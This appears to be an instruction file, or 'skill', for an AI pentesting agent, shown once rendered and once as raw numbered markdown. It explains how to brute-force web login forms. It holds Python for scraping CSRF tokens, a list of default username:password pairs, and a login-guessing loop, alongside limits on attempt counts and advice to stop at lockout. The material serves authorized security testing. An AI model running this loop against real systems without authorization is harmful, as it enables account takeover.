Credential Discovery on Login Forms
Credential discovery against web login forms requires three things before any attempt: understanding the form structure, extracting any CSRF tokens, and picking a distinguishable success signal.
Step-by-Step
Identify the form — GET /login or equivalent. Note:
- Method (GET vs POST)
- Form field names (
username, email, password, user_token)
- Any hidden CSRF or nonce field
Extract CSRF token — Most frameworks rotate tokens per request. Retrieve the login page first, extract the token, then include it in every authentication attempt:
import re, urllib.request
page = urllib.request.urlopen(login_url).read().decode()
token = re.search(r'user_token.*?value=["']([a-f0-9]+)["']', page).group(1)
Failure to include a valid CSRF token will return 403/CSRF errors on every attempt — this looks like all credentials are wrong.
Determine the success signal — Send one known-invalid credential first and note:
- Response body substring that indicates failure (
"Invalid credentials", "login failed")
- Response body substring that indicates success (
"Welcome", "Dashboard", "Logout")
- Redirect on success (
302 to /dashboard)
- Response length difference (success pages are usually longer)
Pick the smallest, most specific success indicator to avoid false positives.
Build the credential list — Start with defaults before custom wordlists:
admin:admin
admin:password
admin:password1
admin:123456
admin:admin123
root:root
root:toor
test:test
user:user
guest:guest
Attempt — with rate limit awareness — Default: ≤50 attempts without explicit authorization for high rate. Inject one credential at a time, re-fetching the CSRF token each round if the form rotates it:
for user, pw in creds:
page = get('/login.php')
token = extract_token(page)
resp = post('/login.php', {'username': user, 'password': pw,
'Login': 'Login', 'user_token': token})
if 'Welcome' in resp:
print(f'[+] Found: {user}:{pw}')
break
Record findings — Valid credentials are HIGH severity (Broken Authentication, OWASP A07). Record with khaos_create_finding including the working credential pair in reproduction_steps and tag ["credential-discovery", "brute-force"].
Common Failure Modes
| Symptom |
Root cause |
Fix |
| All attempts return 403 |
CSRF token not extracted or not rotated per request |
Re-fetch login page before each POST |
| All attempts "fail" but correct creds work manually |
Content-Type wrong (sending JSON to form endpoint) |
Use application/x-www-form-urlencoded |
| Rate limiting after 10 attempts |
Server-side lockout |
Stop; note lockout behavior as finding (DoS vector) |
Location: /dashboard on every attempt |
Following redirects on failure too |
Use allow_redirects=False and check status code |
Content-Type Warning
HTML forms always use application/x-www-form-urlencoded. If you POST JSON to a form endpoint, the server reads request.form['username'] and gets nothing — the attempt silently fails but returns 200. Always match the encoding to the form method.
Rate Limit Discipline
Stop testing at the first sign of account lockout or IP-based rate limiting. Document both:
- Lockout behavior (credential stuffing amplification risk → MEDIUM finding)
- Identified valid credentials (Broken Authentication → HIGH finding)
1---2name: khaos-credential-discovery3description: Discover valid credentials on login forms via brute force and default credential lists with CSRF token handling.4metadata:5 source: https://skillmd.com/skills/henriqqw/khaos-credential-discovery6 khaos:7 tool_ids:8 - ffuf9 wordlist_ids: []10 stages:11 - exploitation12 source_type: original13 source:14 reviewed_by: Khaos maintainers15---1617# Credential Discovery on Login Forms1819Credential discovery against web login forms requires three things before any attempt: understanding the form structure, extracting any CSRF tokens, and picking a distinguishable success signal.2021## Step-by-Step22231. **Identify the form** — `GET /login` or equivalent. Note:24 - Method (GET vs POST)25 - Form field names (`username`, `email`, `password`, `user_token`)26 - Any hidden CSRF or nonce field27282. **Extract CSRF token** — Most frameworks rotate tokens per request. Retrieve the login page first, extract the token, then include it in every authentication attempt:29 ```python30 import re, urllib.request31 page = urllib.request.urlopen(login_url).read().decode()32 token = re.search(r'user_token.*?value=["']([a-f0-9]+)["']', page).group(1)33 ```34 Failure to include a valid CSRF token will return 403/CSRF errors on every attempt — this looks like all credentials are wrong.35363. **Determine the success signal** — Send one known-invalid credential first and note:37 - Response body substring that indicates failure (`"Invalid credentials"`, `"login failed"`)38 - Response body substring that indicates success (`"Welcome"`, `"Dashboard"`, `"Logout"`)39 - Redirect on success (`302` to `/dashboard`)40 - Response length difference (success pages are usually longer)41 42 Pick the **smallest, most specific** success indicator to avoid false positives.43444. **Build the credential list** — Start with defaults before custom wordlists:45 ```46 admin:admin47 admin:password48 admin:password149 admin:12345650 admin:admin12351 root:root52 root:toor53 test:test54 user:user55 guest:guest56 ```57585. **Attempt — with rate limit awareness** — Default: ≤50 attempts without explicit authorization for high rate. Inject one credential at a time, re-fetching the CSRF token each round if the form rotates it:59 ```python60 for user, pw in creds:61 page = get('/login.php')62 token = extract_token(page)63 resp = post('/login.php', {'username': user, 'password': pw,64 'Login': 'Login', 'user_token': token})65 if 'Welcome' in resp:66 print(f'[+] Found: {user}:{pw}')67 break68 ```69706. **Record findings** — Valid credentials are HIGH severity (Broken Authentication, OWASP A07). Record with `khaos_create_finding` including the working credential pair in `reproduction_steps` and tag `["credential-discovery", "brute-force"]`.7172## Common Failure Modes7374| Symptom | Root cause | Fix |75|---------|-----------|-----|76| All attempts return 403 | CSRF token not extracted or not rotated per request | Re-fetch login page before each POST |77| All attempts "fail" but correct creds work manually | Content-Type wrong (sending JSON to form endpoint) | Use `application/x-www-form-urlencoded` |78| Rate limiting after 10 attempts | Server-side lockout | Stop; note lockout behavior as finding (DoS vector) |79| `Location: /dashboard` on every attempt | Following redirects on failure too | Use `allow_redirects=False` and check status code |8081## Content-Type Warning8283HTML forms always use `application/x-www-form-urlencoded`. If you POST JSON to a form endpoint, the server reads `request.form['username']` and gets nothing — the attempt silently fails but returns 200. Always match the encoding to the form method.8485## Rate Limit Discipline8687Stop testing at the first sign of account lockout or IP-based rate limiting. Document both:88- Lockout behavior (credential stuffing amplification risk → MEDIUM finding)89- Identified valid credentials (Broken Authentication → HIGH finding)